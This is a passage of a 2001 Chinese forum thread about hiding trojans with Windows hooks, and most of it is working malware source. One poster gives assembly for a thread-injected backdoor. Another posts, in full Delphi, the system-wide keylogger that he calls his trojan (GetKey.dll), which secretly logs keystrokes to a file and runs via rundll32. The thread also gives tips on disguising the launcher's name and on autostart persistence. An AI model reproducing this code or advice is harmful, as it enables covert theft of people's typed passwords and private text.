MajorSubsystemVersion      dw 4              ;Win32 4.0
MinorSubsystemVersion      dw 0              ;
Win32VersionValue          dd 0              ;unused?
;
SizeOfImage                dd 2000h          ;yet to find out;200h
SizeOfHeaders              dd 200h            ;yet to find out;200h
CheckSum                    dd 0              ;not used for non-drivers
Subsystem                  dw 2              ;Win32 console
DllCharacteristics          dw 0              ;unused (not a DLL)
SizeOfStackReserve          dd 100000h        ;1 MB stack
SizeOfStackCommit          dd 1000h          ;4 KB to start with
SizeOfHeapReserve          dd 100000h        ;1 MB heap
SizeOfHeapCommit            dd 1000h          ;4 KB to start with
LoaderFlags                dd 0              ;unknown
NumberOfRvaAndSizes        dd 10h            ;constant
;*****************************************************
;                    Image Data Directories,
;***********************************************************************
                                              ;Address        Size
Ide00Export                dd 0,0            ;IMAGE_DIRECTORY_ENTRY_EXPORT (0)
Ide01Import                dd 0,0            ;IMAGE_DIRECTORY_ENTRY_IMPORT (1)
Ide02Resource              dd 0,0            ;IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
Ide03Exception              dd 0,0            ;IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
Ide04Security              dd 0,0            ;IMAGE_DIRECTORY_ENTRY_SECURITY (4)
Ide05BaseReloc              dd 0,0            ;IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
Ide06Debug                  dd 0,0            ;IMAGE_DIRECTORY_ENTRY_DEBUG (6)
Ide07Copyright              dd 0,0            ;IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
Ide08Globalptr              dd 0,0            ;IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
Ide09Tls                    dd 0,0            ;IMAGE_DIRECTORY_ENTRY_TLS (9)
Ide10LoadConfig            dd 0,0            ;IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
Ide11BoundImport            dd 0,0            ;IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
Ide12Iat                    dd 0,0            ;IMAGE_DIRECTORY_ENTRY_IAT (12)
Ide13                      dd 0,0            ;13
Ide14                      dd 0,0            ;14
Ide15                      dd 0,0            ;15
;**********************************************************************
;                    Section Header
;**********************************************************************************
SectionName                db  '.code',0,0,0  ;".code",8 bytes
VirtualSize                dd  1000h          ;unused
VirtualAddress              dd  1000h          ;yet to find out
SizeOfRawData              dd  1000h          ;size of code
PointerToRawData            dd  200h          ;yet to find out
PointerToRelocations        dd  0              ;unused
PointerToLinenumbers        dd  0              ;unused
NumberOfRelocations        dw  0              ;unused
NumberOfLinenumbers        dw  0              ;unused
Characteristics2            dd  60000020h      ;code, executable, readable
;-----------------padding nulls-----------------------------------------
                            dd PESize      ;
VersionCopyright            db 'WIN32.PE 1.0'  ;
                            org 1b0h          ; 
FileHeader                  ENDS

;**********************************************************************************
;                    .code Section     
;**********************************************************************************
CodeSection                SEGMENT            ;1
                            ret                ;
PESize                      =      $          ;
CodeSection                ENDS
                            END BeginProgram

;*****************************************************************************
;*          njhhack 2001.5.6 Copyrigth(C) 2001-2004 Allrights Reserved.    *
;*        this PE File is Only 513 bytes,but it's a raw program,it's fun!
;*****************************************************************************

 回复人:alaofangel(天使之翼) (2001-6-14 17:18:00) 得0分
to noho:
请问您是如何获得 ntdll.dll中函数的定义(参数,返回值)?是否有这方面的资料关于未公开的api
 回复人:LANDFISH(我要分~~~~~~~~(FAINT)) (2001-6-14 18:00:00) 得0分
谢谢njhhack(剑影) 前辈。不过我还有一个问题不明白,望不吝赐教:虽然你可以把自己的DLL挂到EXPLORER上去,但是你的木马(.EXE)还是没有运行啊,即使你可以使它从新运行,在任务管理器中还是可以看到的阿,那么挂上自己的DLL有什么用呢?
问题可能比较菜,别见笑,呵呵。
 回复人:wolf_cyj(中山之兰) (2001-6-14 20:43:00) 得0分
好象下载的不是源码吧?
 回复人:liuchun(DELPHI大哥) (2001-6-14 21:51:00) 得0分
天啊!是不是winexec.exe一定会执行,假如把它设为开机运行,叫一个键盘快手适时按下热启动三键,是否有机会可以将其捕杀??我很想知道,怎么保证winexec.exe绝对安全地执行??
 回复人:sephil(NAILY,知道什么意思吗?猜对有分!) (2001-6-15 7:36:00) 得0分
太....太....太....太....太....
太强了!!!
太好了!!!

noho(noho) 
verybigbug() 
你们这样说就不对了
这怎么也是剑影兄自己研究出来的
你们说的是你们自己的成果吗??
 回复人:njhhack(剑影) (2001-6-15 8:40:00) 得0分
to LANDFISH:
其实我的木马就是Getkey.dll,winexec.exe不是木马,只是安木马启动程序
to liuchun:
在启动的时候,有很多方法,比如在注册表中,在win.ini和system.ini中,在启动组中,或象冰河一样和文本文件关联,也可以做一个autorun.inf文件等,你了可以伪装一下,比如将winexec.exe改成internat.exe,或者用rundll32.exe 来启动install.dll也行,方法很多,当然如果你费尽心机要查一个木马,木马当然会查出来,要不杀毒公司没饭吃了,
 回复人:noho(听,钱在说话) (2001-6-15 9:28:00) 得0分
我给一个更好的解决方案把
这种方法在一个进程中注入一个线程
所有的工作都在该线程中做
什么痕迹都不露
; #########################################################################
    .386
    .model flat, stdcall  ; 32 bit memory model
    option casemap :none  ; case sensitive

; #########################################################################
;  include files
; #########################################################################
    include D:\ASM\MASM32\INCLUDEA\windows.inc
    
RUNTHREAD_PARAMETER        STRUCT
    BaseAddress        DWORD        0
    FnLoadLibraryA        DWORD        0
    FnLoadLibraryW        DWORD        0
    FnGetModuleHandleA    DWORD        0
    FnGetModuleHandleW    DWORD        0
    FnGetProcAddress    DWORD        0
    lpParameter        DWORD        0
    Reserve            DWORD        0
RUNTHREAD_PARAMETER        ENDS
LPRUNTHREAD_PARAMETER        TYPEDEF        PTR RUNTHREAD_PARAMETER

THUNK    STRUCT
    m_jmp    db    e9h
    m_offset dd    0
THUNK    ENDS

OFF_BASEASSRESS        EQU 0
OFF_LOADLIBRARYA    EQU 4
OFF_LOADLIBRARYW    EQU 8
OFF_GETMODULEHANDLEA    EQU 12
OFF_GETMODULEHANDLEW    EQU 16
OFF_GETPROCADDRESS    EQU 20
OFF_PARAMETER        EQU 24
OFF_RESERVE        EQU 28

CREATE_DEFAULT_ERROR_MODE    EQU 04000000h


; #########################################################################
;    CreateProcess
; #########################################################################

CreateProcess MACRO BaseAddress,
        lpApplicationName, lpCommandLine,
        lpProcessAttributes, lpThreadAttributes,
        bInheritHandles, dwCreationFlags,
        lpEnvironment, lpCurrentDirectory,
        lpStartupInfo, lpProcessInformation

    push lpProcessInformation
    push lpStartupInfo
    push lpCurrentDirectory
    push lpEnvironment
    push dwCreationFlags
    push bInheritHandles
    push lpThreadAttributes
    push lpProcessAttributes
    push lpCommandLine
    push lpApplicationName

    mov eax, BaseAddress
    mov ecx, offset CreateProcessThunk
    sub ecx, start
    add eax, ecx
    call dword ptr eax
ENDM

;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下:
;    mov edx, BaseAddress
;    mov ecx, Lib_Kernel32_Name
;    sub ecx, start
;    add edx, ecx


    ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORD
    InitializeThunk PROTO lpRunThreadParmeter : DWORD


; #########################################################################
;    CODE SEGMENT
; #########################################################################
.code

start:
    jmp BackDoorThreadProc

CreateProcessThunk THUNK <0e9h, 0>
GetCurrentProcessThunk THUNK <0e9h, 0>
CreatePipeThunk THUNK <0e9h, 0>
DuplicateHandleThunk THUNK <0e9h, 0>
GetStdHandleThunk THUNK <0e9h, 0>
CloseHandleThunk THUNK <0e9h, 0>
CreateThreadThunk THUNK <0e9h, 0>
WaitForSingleObjectThunk THUNK <0e9h, 0>
OutputDebugStringThunk THUNK <0e9h, 0>


; #########################################################################
;    BackDoorThreadProc
; #########################################################################

BackDoorThreadProc proc lpRunThreadParameter:DWORD
    LOCAL BaseAddress : DWORD            ;ebp-4
    LOCAL sa : SECURITY_ATTRIBUTES        ;ebp-8h
    LOCAL hOutputReadTmp : DWORD        ;ebp-14h
    LOCAL hOutputRead : DWORD            ;ebp-18h
    LOCAL hOutputWrite : DWORD            ;ebp-1ch
    LOCAL hInputWriteTmp : DWORD        ;ebp-20h
    LOCAL hInputRead : DWORD            ;ebp-24h
    LOCAL hInputWrite : DWORD            ;ebp-28h

    int 3
    ;保存寄存器
    push ebx
    push esi
    push edi
    ;得到基地址
    mov ebx, lpRunThreadParameter
    push [ebx+OFF_BASEASSRESS]
    pop BaseAddress
    
    INVOKE InitializeThunk, lpRunThreadParameter
    
BackDoorThreadProcExitPoint:
    pop edi
    pop esi
    pop ebx
    ret
BackDoorThreadProc endp

; #########################################################################
;    InitializeThunk
; #########################################################################

InitializeThunk proc lpRunThreadParameter : DWORD

    LOCAL BaseAddress : DWORD
    LOCAL hModule : DWORD
    
    jmp InitializeThunkEntryPoint
    
Lib_Kernel32_Name:
    db "kernel32",0
Func_CreateProcess_Name:
    db "CreateProcessA", 0
Func_CreatePipe_Name:
    db "CreatePipe", 0
Func_DuplicateHandle_Name:
    db "DuplicateHandle", 0
Func_GetStdHandle_Name:
    db "GetStdHandle", 0
Func_CloseHandle_Name:
    db "CloseHandle", 0
Func_CreateThread_Name:
    db "CreateThread", 0
Func_WaitForSingleObject_Name:
    db "WaitForSingleObject", 0
Func_OutputDebugStringA_Name:
    db "OutputDebugStringA", 0
    
InitializeThunkEntryPoint:    
    ;保存寄存器
    push ebx
    push esi
    push edi
    ;得到基地址
    mov ebx, lpRunThreadParameter
    push [ebx+OFF_BASEASSRESS]
    pop BaseAddress
    
    ;GeModuleHandleA("kernel32")
    mov edx, BaseAddress
    mov ecx, Lib_Kernel32_Name
    sub ecx, start
    add edx, ecx
    push edx            ;"kernel32"
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETMODULEHANDLEA]        ;FnGetModuleHandleA
    .if eax==0
        jmp InitializeThunkExitPoint
    .endif
    mov hModule, eax
    
    ;#####################################
    ;GetProcAddress(eax, "CreateProcessA")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_CreateProcess_Name
    sub ecx, start
    add edx, ecx
    
    push edx            ;"CreateProcessA"
    push eax            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset CreateProcessThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif

    ;#####################################
    ;GetProcAddress(hModule, "CreatePipe")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_CreatePipe_Name
    sub ecx, start
    add edx, ecx
    
    push edx            ;"CreatePipe"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset CreatePipeThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif


    ;#####################################
    ;GetProcAddress(hModule, "DuplicateHandle")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_DuplicateHandle_Name
    sub ecx, start
    add edx, ecx
    
    push edx            ;"DuplicateHandle"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset DuplicateHandleThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif


    ;#####################################
    ;GetProcAddress(hModule, "GetStdHandle")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_GetStdHandle_Name
    sub ecx, start
    add edx, ecx
    
    push edx            ;"GetStdHandle"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset GetStdHandleThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif


    ;#####################################
    ;GetProcAddress(hModule, "CloseHandle")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_CloseHandle_Name
    sub ecx, start
    add edx, ecx
    
    push edx                ;"CloseHandle"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset CloseHandleThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif


    ;#####################################
    ;GetProcAddress(hModule, "CreateThread")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_CreateThread_Name
    sub ecx, start
    add edx, ecx
    
    push edx                ;"CreateThread"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset CreateThreadThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif


    ;#####################################
    ;GetProcAddress(hModule, "WaitForSingleObject")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_WaitForSingleObject_Name
    sub ecx, start
    add edx, ecx
    
    push edx                ;"WaitForSingleObject"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset WaitForSingleObjectThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif


    ;#####################################
    ;GetProcAddress(hModule, "OutputDebugStringA")
    ;#####################################
    mov edx, BaseAddress
    mov ecx, Func_OutputDebugStringA_Name
    sub ecx, start
    add edx, ecx
    
    push edx            ;"OutputDebugStringA"
    push hModule            ;hModule
    mov ebx, lpRunThreadParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax!=0
        mov ebx, BaseAddress
        mov ecx, offset OutputDebugStringThunk
        sub ecx, start
        add ebx, ecx
        
        sub eax, ebx
        sub eax, 5
        mov [ebx+1], eax
    .endif

InitializeThunkExitPoint:
    pop edi
    pop esi
    pop ebx
    ret
InitializeThunk endp
 回复人:x7913() (2001-6-15 9:54:00) 得0分
njhhack(剑影)
我是98,运行2-3次你的程序就会死机,怎么回事?
 回复人:njhhack(剑影) (2001-6-15 10:04:00) 得0分
to nohu:
兄弟的程序真不错,好厉害哟,呵呵
 回复人:dsc(松紧带) (2001-6-15 10:54:00) 得0分
在WIN2K SP2下面好象不能隐藏哦
 回复人:BigBen(江南草) (2001-6-15 11:19:00) 得0分
to njhhack,verybigbug,noho, and all:
你们大谈钩子。delphi做钩子真的那么安全吗?为什么市面上只看到钱达智先生的wh_keyboard,我尝试做wh_cbt/wh_callwndproc都有问题。能不能贴一个没问题的非键盘钩子看看?同样的sdk帮助,在vc中能run得很好,在delphi中总是有大大小小的问题。。。借光了。
 回复人:njhhack(剑影) (2001-6-15 11:39:00) 得0分
to BigBen:
这个很稳定哟,试试看哟,呵呵............

{
    win9X,NT,w2k 中的系统钩子示例程序(Delphi 版)
    -----------------------------------------------------
    windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型,他能过滤大部分的
    windows消息,但是要做成系统级的钩子,就要使用动态链接库,这样做很困难,因为涉及到多
    线程及全局变量,等问题,当然在某些情况下还会有线程同步及同步冲突问题,关于同步问题
    暂时不在这讲,因为这儿用不到,以后会举同步的例子,由于这些原因常会导致错误,本程序
    用了一个巧妙的方法解决了这个问题,主要技巧是不用*.exe,只用*.dll,并用windows自带的
    rundll32.exe程序来运行这个GetKey.dll,本程序能过滤wm_char,和wm_ime_char消息,所以能
    得到键盘输入的任何字中英文字符,结果存在C;\key.txt中,使用方法为:
        rundll32 GetKey.dll,run
    下面这个程序用Delphi设计,没有用delphi的控件,只用了win32 api,所以通用于Delphi的任
    何版本,当然你也可以用c来实现,有看不懂的可以写信给我,这是第一版,可能有BUG,大家发
    现了通知我一下,欢迎大家和我一起来讨论HOOK技术:
    -----------------------------------------------------
        First Created:njhhack  2001.6.14  (ver1.0)
        电子信箱:njhhack@21cn.com
        主页:hotsky.363.net
}
library GetKey;

uses windows,messages,sysutils;

{$r *.res}

const

  HookMemFileName='HookMemFile.DTA';

type
  PShared=^TShared;
  PWin=^TWin;
  TShared = record
    HHGetMsgProc:HHook;
    HHCallWndProc:HHook;
    Self:integer;
    Count:integer;
    hinst:integer;
  end;
  TWin = record
    Msg:TMsg;
    wClass:TWndClass;
    hMain:integer;
  end;
var
  MemFile:THandle;
  Shared:PShared;
  Win:TWin;

procedure SaveInfo(str:string);stdcall;
var
  f:textfile;
begin
  assignfile(f,'c:\key.txt');
  if fileexists('c:\key.txt')=false then rewrite(f)
  else append(f);
  if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
  else write(f,str);
  closefile(f);
end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
  if (uMessage=WM_CHAR) and (lParam<>1) then
  begin
    SaveInfo(format('%s',[chr(wparam and $ff)]));
    inc(shared^.count);
    if shared^.count>60 then
    begin
      SaveInfo('#13#10');
      shared^.count:=0;
    end;
  end;
  if (uMessage=WM_IME_CHAR) then
  begin
    SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
    inc(shared^.count,2);
  end;
end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:PMSG;
  hd,uMsg,wP,lP:integer;
begin
  pcs:=PMSG(lParam);
  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:PCWPSTRUCT;
  hd,uMsg,wP,lP:integer;
begin
  pcs:=PCWPSTRUCT(lParam);
  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
  with shared^ do
  if fSet=true then
  begin
    if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
    if HHCallWndProc=0 then
    begin
      HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
      if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
    end;
  end else
  begin
    if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
    if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
    HHGetMsgProc:=0;
    HHCallWndProc:=0;
  end;
end;

procedure Extro;
begin
  UnmapViewOfFile(Shared);
  CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  wm_destroy:
    begin
      SetHook(False);
      ExitThread(0);
      freelibrary(shared^.hinst);
//      TerminateThread();
      //exitprocess(0);
    end;
  end;
end;

procedure run;stdcall;
begin
  win.wClass.lpfnWndProc:=  @WindowProc;
  win.wClass.hInstance:=    hInstance;
  win.wClass.lpszClassName:='GetKey';
  RegisterClass(win.wClass);
  win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
  FillChar(Shared^,SizeOf(TShared),0);
  shared^.self:=win.hmain;
  shared^.hinst:=hinstance;
  SetHook(true);
  postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
  while(GetMessage(win.Msg,win.hmain,0,0))do
  begin
    TranslateMessage(win.Msg);
    DispatchMessage(win.Msg);
  end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
  case fdwReason of
  DLL_PROCESS_DETACH:
    Extro;
  end;
end;

exports run;

begin
  //建立内存映象文件,用来保存全局变量
  MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
  Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
  DLLProc:=@DllEntryPoint;
end.

 回复人:guzhigang(初学者) (2001-6-15 12:40:00) 得0分
我靠,高手如林,我到,我跑,我去卖地瓜
 回复人:x7913() (2001-6-15 12:53:00) 得0分
njhhack(剑影)兄,好像您还没给在下解疑
我运行您的程序,在win98下总是会死机,通常运行2-3次左右

请问为什么?

注:第一次运行后蛮好的
 回复人:flywhc(午夜蓝调) (2001-6-15 13:10:00) 得0分
to verybigbug:

我用win2000, 如果选择 folder options ->View->Lanuch folder windows in a
sepatate process的话,你会看到多个explorer.exe在你的进程列表里的.
win2000的任务管理器里列出的可绝对是进程,并非窗口。

对于win98,好像也有这种设置
 回复人:eaglesky(鹰长空) (2001-6-15 13:12:00) 得0分
研究研究。

感谢高手们给的讨论和原码
 回复人:chenangle(老婆好) (2001-6-15 15:37:00) 得0分
好多高手阿,

努力努力!!!
 回复人:njhhack(剑影) (2001-6-15 16:22:00) 得0分
to x7913()兄:
谢谢你为我在98下做测试,要知到一个人的力量是有限的,大家联合起来,中国的软件开发才有前途,人家说三个印度人在一起是条龙,三个中国人在一起是条虫,但我不信,所以我要公开所有的源代码,让大家来研究,我要尽我所能探索windows编程序中的各个难题,并将来一一公布,让每个中国人都能用他来造福国人,也希望各们高手不要保守,好东西要共享,要提高中国的整体实力,就要共享,
至于你提的问题我是这么想的,系统级的hook并不简单,可能涉及到多线程,及线程同步和冲突问题,比如你运行了我的程序2次,那么系统中就会有2个getkey.dll在运行,这时若有wm_char消息传来,那么会有两个线程同时向key.txt中写入字符,这就产生了冲突,另外,hook的多重设置,以及多重hook在windows中的具体运作模式我了不是太清楚,要知道调试*.dll中的多线程hook是很难的,我曾为了搞清这个问题,设计了专门的调试程序,才得知一点多线程下的hook行为,
我觉得网络上有关delphi的hook文章太少了,有的只是很简单的文章,所以我研究了delphi下的hook,希望大家能有更好的发现,并把delphi下的hook搞的彻底一点,台湾的钱达智前辈只是讲了一个简单的非系统级的wh_keyboard的hook例子,我想把delphi的hook技术进行到底,给每个类型的hook都举一个例子,希望让hook技术大白于天下,大家以为如何:
在下还做了一个JournalRecord的hook,虽然没用*.dll,但确是系统级的hook,能得到所有线程的键盘和鼠标消息,例子如下,注意只能运行一次,不能重复运行,否则有错,程序如下:
示例程序在前面提到的网址中有:
njhhack.top263.net/process.zip
hotsky.363.net/process.zip
---------------------


---------------------
{
    win9X,NT,w2k 中的系统日志钩子示例程序(Delphi 版)
    -----------------------------------------------------
    windows下的日志钩子是一种很有用的HOOK类型,他不需要动态链接库*.DLL,就能实现
    系统级的事件监控,它只能监视两种硬件的事件,即鼠标,键盘的操作,而不能监视其它
    消息,被记录的消息可以用日志回放钩子将它还原,下面这个程序用Delphi设计,没有
    用delphi的控件,只用了win32 api,所以通用于Delphi的任何版本,当然你也可以用c
    来实现,有看不懂的可以写信给我,这是第一版,可能有BUG,大家发现了通知我一下,欢
    迎大家和我一起来讨论HOOK技术:
    -----------------------------------------------------
        First Created:njhhack  2001.6.14  (ver1.0)
        电子信箱:njhhack@21cn.com
        主页:hotsky.363.net
}
Program Journal;
//包含如下头文件
uses windows,messages,sysutils;
{$r *.res}  //使用资源文件
//定义一个新的结构类型
type
  TWin = record
    Msg:TMsg;                 
    wClass:TWndClass;
    hMain:integer;
    lr:trect;
    tem:TEVENTMSG;
  end;
var
  Win:TWin;                    //结构变量
  HHJournalRecordProc:integer;  //日志钩子句柄
//将字符串str写到文件c:\key.txt中 
procedure SaveInfo(str:string);stdcall;
var
  f:textfile;
  fname:string;
begin
  fname:='c:\key.txt';
  assignfile(f,fname);
  if fileexists(fname)=false then rewrite(f)
  else append(f);
  writeln(f,str);
  closefile(f);
end;

//将信息写到屏幕
procedure writestr;
var
  hdc:integer;
  str:string;
begin
  hdc:=getdc(win.hmain);
  RoundRect(hdc,10,10,240,140,12,8);
  with win.tem do
  begin
    str:=format('窗口句柄=%x',[hwnd]);
    textout(hdc,30,24*1,pchar(str),length(str));
    str:=format('鼠标位置=(%d,%d)',[paraml,paramh]);
    textout(hdc,30,24*2,pchar(str),length(str));
    str:=format('消息类型=%x',[message]);
    textout(hdc,30,24*3,pchar(str),length(str));
    str:=format('时间=%d',[time div 1000]);
    textout(hdc,30,24*4,pchar(str),length(str));
  end;
  releasedc(win.hmain,hdc);
end;
//日志钩子的回调函数
function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  win.tem:=TEVENTMSG(PEVENTMSG(lParam)^);
  if nCode>=0 then
  begin
    with win.tem do
    begin
      with win.lr do
      begin
        left:=10;
        top:=10;
        right:=240;
        bottom:=140;
      end;
      InvalidateRect(win.hmain,@win.lr,false);
      if message=wm_lbuttondown then
      begin
        SaveInfo(format('窗口句柄=%x,鼠标位置=(%d,%d),消息类型=WM_LBUTTONDOWN,时间=%d',[hwnd,paraml,paramh,time div 1000]));
      end;
    end;
  end;
  Result:=CallNextHookEx(HHJournalRecordProc,nCode,wParam,lParam); //调用下一个钩子
end;
//钩子设置和删除函数
procedure SetHook(fSet:boolean);
begin
  if fSet=true then
  begin
    if HHJournalRecordProc=0 then HHJournalRecordProc:=SetWindowsHookEx(WH_JOURNALRECORD,@JournalRecordProc,hinstance,0);
  end else
  begin
    if HHJournalRecordProc<>0 then UnhookWindowsHookEx(HHJournalRecordProc);
  end;
end;
//主程序的回调函数
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  wm_paint:writestr;
  wm_destroy:begin SetHook(False);halt;end;
  end;
end;
//主程序的执行函数
procedure run;stdcall;
begin
  win.wClass.hInstance:=    hInstance;
  with win.wclass do
  begin
    hIcon:=        LoadIcon(hInstance,'MAINICON');
    hCursor:=      LoadCursor(0,IDC_ARROW);
    hbrBackground:= COLOR_BTNFACE+1;
    Style:=        CS_PARENTDC;
    lpfnWndProc:=  @WindowProc;
    lpszClassName:='JournalRecordHook';
  end;
  RegisterClass(win.wClass);
  win.hmain:=CreateWindow(win.wClass.lpszClassName,'系统日志钩子演示程序',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);
  SetHook(true);
  while(GetMessage(win.Msg,win.hmain,0,0))do
  begin
    TranslateMessage(win.Msg);
    DispatchMessage(win.Msg);
  end;
end;

begin
  run;  //开始运行主程序
end.



 回复人:njhhack(剑影) (2001-6-15 16:31:00) 得0分
下一周我们学校要放假一周,去招生,若招不到学生,我就要下岗了,各位兄弟若可怜我就去我们学校的主页捧捧场  www.sjluban.com  神技鲁班网,呵呵,我要一周不上网了,对不起了,各位兄弟,不过我来了还会把所有的hook源码贴上的,想学的朋友来看吧,就算给兄弟我捧场也行呀,还有我分少,哪位老兄可怜可怜我,送我点分啊,我先谢了呀,呵呵...........
 回复人:enlightenment(阿明--平均睡眠时间<6h/d的超人) (2001-6-15 16:37:00) 得0分
Lock-in
 回复人:zyjfxx() (2001-6-15 19:16:00) 得0分
You are so high!I admire everyone!
 回复人:Explorer() (2001-6-15 21:40:00) 得0分
看看B02K的隐身技术吧,分为9X与NT两种.
打开进程边界的技术很久以前都有很完善的归纳了,BO2K用的是其中之一.
不过这已算是很老的技术了.
 回复人:kevin_is_shit(xxx) (2001-6-16 0:12:00) 得0分
njhhack(剑影)

这种白痴方法也叫深度隐藏进程? 技术含量低哟, 而且更本就没把任何东西藏起来哟, 能在系统中看到这个dll被挂着哟, 不管其父进程是谁哟, 只需少许分析一下这个dll就大概可以知道它是干什么的哟, 不够的话就反汇编哟, 然后还叫隐藏? 隐藏个P哟. 如果你只想告诉大家WIN9x系统的安全性有问题, 我看你可以去睡觉了哟, 现在连小学生也知道这一点哟.
 回复人:BigBen(江南草) (2001-6-16 8:42:00) 得0分
to njhhack:
  谢谢了。但是为什么做在exe中就有问题?我做的wh_cbt/wh_callwndproc不碰到模态对话框/消息框/菜单还好,一碰到就死。我甚至只是简单的传递了一下hook chain,都有非法操作。
分数好说,我另开一题,给你1000如何?能不能讲讲原因?我还是对delphi非常的钟爱的。。。
我推举你做这个版的斑竹吧,大家都没意见吧?要说delphi是csdn的一大卖点,我想也没什么人反对。。。怎么可以没有一个热心的大佬来主持呢。。。
 回复人:zhaoyao73(小赵) (2001-6-16 9:45:00) 得0分
我认为,如果你认为你高,请不要轻蔑别人,很不好!不知道,别人羞你的时候,你什么感觉
 回复人:flyingice(ygxdha) (2001-6-16 10:35:00) 得0分
剑影老大,我给你的信箱里面发东西了,是钩子问题,我用c写的,可惜在vc版没有得到解答,帮我看看。
 回复人:peterguo(peterguo) (2001-6-16 11:50:00) 得0分
我已前碰到个问题,用delphi编写的鼠标或者是键盘hook程序运行后,向帝国时代等游戏就不能
玩了,一运行就退出,我基本测试过所有网站上公开的hook例子。后来我改用vc编写就没有这样
